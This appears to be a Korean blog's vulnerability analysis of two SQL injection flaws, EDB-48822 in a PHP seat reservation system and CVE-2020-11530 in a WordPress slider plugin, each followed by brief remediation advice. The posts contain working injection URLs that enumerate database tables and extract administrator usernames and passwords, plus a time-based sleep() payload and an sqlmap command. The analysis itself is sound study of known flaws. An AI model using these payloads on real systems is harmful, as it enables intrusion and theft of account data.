1. 개요

CVE 코드

EDB – ID - 48822

분류

SQL Union Injection

대상 어플리케이션

Seat Reservation System 1.0 버전에서 발생

취약 코드

/seat_reservation/reserve.php

영화 좌석 예약을 하는 웹페이지 서비스이다.

예약을 하는 페이지에서 id값을 받을 입력 값을 검증하지 않아 발생하였다.

(그림1) 메인 페이지 화면

 

(그림 2) Union Sql Injection이 발생한 페이지

Union Sql Injection

UNIION 명령어는 조회한 sql 결과를 합치고 싶을 사용하는 명령어이다.

도시와 나라를 조회하는 쿼리문이 있다.

(그림 3) https://www.w3schools.com/sql/ 이용하였다.

 

 

UNION 사용하면 내가 원하는 sql결과와 합칠 있다.

UNION 이용해 1,2 합쳐서 조회하였다.

(그림 4) 1,2가 같이 조회되었다.

 

UNION Sql Injection 입력 값을 검증하는 않는 코드에 UNION 주입하여 공격자 원하는 정보를 출력한다.

 

1. 상세분석

1.1. 발생 원리

$id 값을 넣을 아무런 검증을 거치지 않고 SQL Query 입력 값을 받는다.

(그림5) id값을 그대로 넣어준다.

 

UNION명령어로 인해 공격자가 원하는 정보로 뒤바뀌어 출력된다.

(그림6) Union sql Injection으로 대체되는 부분

 

2.2 취약점 확인

존재하지 않는 id값을 넣어 전송해 보았다.

입력URL : URL/seat_reservation/index.php?page=reserve&id=12124

Sql에서 존재하지 값이 존재하지 않아 빈페이지를 불러온다.

 

UNION SQL Injection 구문을 넣었다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=’’ union select 1; --

컬럼 개수가 맞지 않아 오류가 발생했다.

 

 

여러 시도 결과 컬럼 개수가 8개인 것을 확인할 있었다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=’’ union select 1,2,3,4,5,6,7,8;--

 

메타데이터를 가져오는 sql 명령문을 이용해 테이블 명을 가져왔다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database(); --

 

계정 정보는 users 들어 있음을 이름을 통해 추측할 있다. users 컬럼을 추출하였다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_name='users';

 

관리자의 아이디와 패스워드를 추출하였다.

입력 URL : URL/seat_reservation/index.php?page=reserve&id=''union select 1,group_concat(username),3,group_concat(password),5,6,7,8 from users;--  

 

3.대응 방안

소스코드에SQL 필터링을 적용한다.

적용

적용

 Union Sql Injection 발생하지 않는다.

4. 참고자료

-  Seat Reservation System 1.0

https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip

-  Exploit-DB

https://www.exploit-db.com/exploits/48822

-  w3cshools

https://www.w3schools.com/sql/

 

EDB-ID-48822 분석 보고서.pdf
0.54MB

'취약점 분석 > EDB' 카테고리의 다른 글

[EDB] EDB-ID-48197 취약점 분석 - CVS Injection  (0) 2020.09.20

1. 개요

CVE 코드

CVE – 2020 -11530

분류

SQL 블라인드 인젝션

대상 어플리케이션

Wordpress ChopSlider3 3.4이하 버전에서 발생

취약 코드

/chopslider/get_script/index.php

index.php에서 id를 받아오는 과정에서 입력 값을 검증하지 않아 발생한 취약점 이다.

 

2. 상세 분석

 

2.1. 발생 원리

 

$id에 값을 넣을 때 아무런 검증을 거치지 않고 SQL Query 입력 값을 받는다.

$id값에 아무런 검증을 거치지 않는다.

 

 

2.2 취약점 확인

 

웹 사이트에 접속하여 SQL Injection이 발생하는지 쿼리를 sleep()함수를 통해 확인하였다.

입력값 : ?id=1111111 or (SELECT sleep(5))=111

SQL 인젝션이 유효하다면 해당 구문으로 인해 5초의 딜레이가 생긴다.

5초의 딜레이가 생긴 후 쿼리문이 응답하는 것을 확인하였다.

시간 기반 BLIND SQL 인젝션 공격이 가능 하다.

 

Kali 리눅스의 Sqlmap을 사용하여 진단해 보았다.

sqlmap -u URL?id=1111 --level=5 risk=3

 

Blind Sql Injection자동화 기능으로 테이블을 추출 하였다.

 

DB의 개인정보까지 추출가능하다.

 

3.대응 방안

소스코드에SQL 필터링을 적용한다.

 

적용

 

적용 후

 

 

4. 참고자료

-  Chop Slider3플러그인

https://github.com/idangerous/Plugins/tree/master/Chop%20Slider%203

 

-  Exploit-DB

https://www.exploit-db.com/exploits/48457

 

EDB-ID-48822 분석 보고서.pdf
0.54MB

+ Recent posts